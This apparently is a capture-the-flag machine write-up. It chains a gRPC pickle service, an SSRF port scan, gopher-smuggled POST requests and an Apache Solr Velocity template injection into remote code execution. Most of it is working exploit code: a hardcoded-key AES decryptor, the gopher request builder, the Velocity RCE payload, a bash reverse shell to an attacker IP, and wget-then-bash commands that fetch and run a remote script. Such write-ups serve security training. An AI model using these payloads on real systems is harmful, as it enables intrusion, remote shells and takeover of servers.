Roman Hergenreder

from Crypto.Cipher import AES
import base64
import struct

data = open('queued','rb').read().strip()
data = data[2:len(data)-1] # strip of b''
data = base64.b64decode(data)
size, iv, ciphertext = (data[0:8],data[8:24],data[24:])
key = b'13vu94r6643rv19u'
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
open('decrypted.bin','wb').write(decrypted)

• Protocol Buffers + gRPC + service_pb2: protobuf2 is used.
• Service: Print, Method: Feed, Parameter: Content, Returns: Data
• Content Message has an attribute data, Data message has an attribute feed
• Input data is a json object with various fields
• Data gets unpickled => Python's pickle module is used.
• No builtins are in use: Code Injection is probably not possible.
• staging core, will help us later ;)

syntax = "proto2";

service Print {
  rpc Feed(Content) returns (Data) {}
}

message Content {
  required string data = 1;
}

message Data {
  required string feed = 1;
}

#!/usr/bin/env python

import grpc
import json
import base64
import pickle
import subprocess
import service_pb2
import service_pb2_grpc
import urllib.parse

channel = grpc.insecure_channel('10.10.10.201:9000')
stub = service_pb2_grpc.PrintStub(channel)
obj = { ... } # json object taken from the pdf
payload = base64.b64encode(pickle.dumps(json.dumps(obj))).decode("UTF-8")
data = stub.Feed(service_pb2.Content(data=payload))
print(data)

#!/usr/bin/env python
for i in range(1,65536):
    try:
        feed = getFeed("http://localhost:%d" % i)
        print("[+] Found port:", i)
        print(feed)
    except grpc._channel._InactiveRpcError as e:
        msg = "Exception calling application: (7, 'Failed to connect to localhost port %d: Connection refused')" % i
        if msg != e.details():
          print("[-] Exception for port %d:" % i)
          print(e)

1. GET /admin/cores: Get the names of all configured cores
2. POST /core/<corename>/config: Upload some vulnerable config (json object)
3. GET /core/<corename>/select: Trigger a command to be executed

def createPost(host, uri, headers, data):
    lines = ["POST %s HTTP/1.1" % uri]

    if data and "Content-Length" not in headers:
        headers["Content-Length"] = len(data) + 2 # Gopher sends an additional \r\n at the end

    # Add "Host" to the beginning
    if "Host" not in headers:
        new_headers = { "Host": host }
        new_headers.update(headers)
        headers = new_headers

    for key, val in headers.items():
        lines.append("%s: %s" % (key, val))

    lines.append("")
    lines.append(data)

    lines = "\r\n".join(lines)
    lines = urllib.parse.quote(lines)
    return "gopher://%s/_%s" % (host, lines)
    
solr_host = "localhost:8983"
core_name = "staging"
uri = "/solr/%s/config" % core_name
headers = { "Connection": "close", "Accept-Encoding": "gzip, deflate", "Acccept" : "*/*", "Content-Type": "application/json" }
data = json.dumps({
  "update-queryresponsewriter": {
    "name": "velocity", 
    "startup": "lazy", 
    "params.resource.loader.enabled": "true", 
    "template.base.dir": "", 
    "solr.resource.loader.enabled": "true", 
    "class": "solr.VelocityResponseWriter"
  }
})
postRequest = createPost(solr_host, uri, headers, data)

print("[+] Stage 1: POST %s" % uri)
print(getFeed(postRequest))

bash -i >& /dev/tcp/10.10.16.189/4444 0>&1

def executeCommand(command):
    command = urllib.parse.quote(command)
    url = "http://%s/solr/%s/" % (solr_host, core_name)
    url += "select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + command + "%27))+$ex.waitFor()"
    print("[+] Stage 2: Triggering exploit")
    print(getFeed(url))

executeCommand("wget http://10.10.16.189/exploit.sh -O /tmp/exploit.sh")
executeCommand("bash /tmp/exploit.sh")

We should get a connection back and have access to the user flag:

In this machine, we recovered a printed file and managed to exploit a service completely blind without getting any response like banners or versions. Also, we noticed, why host key caching is needed, especially for automated scripts.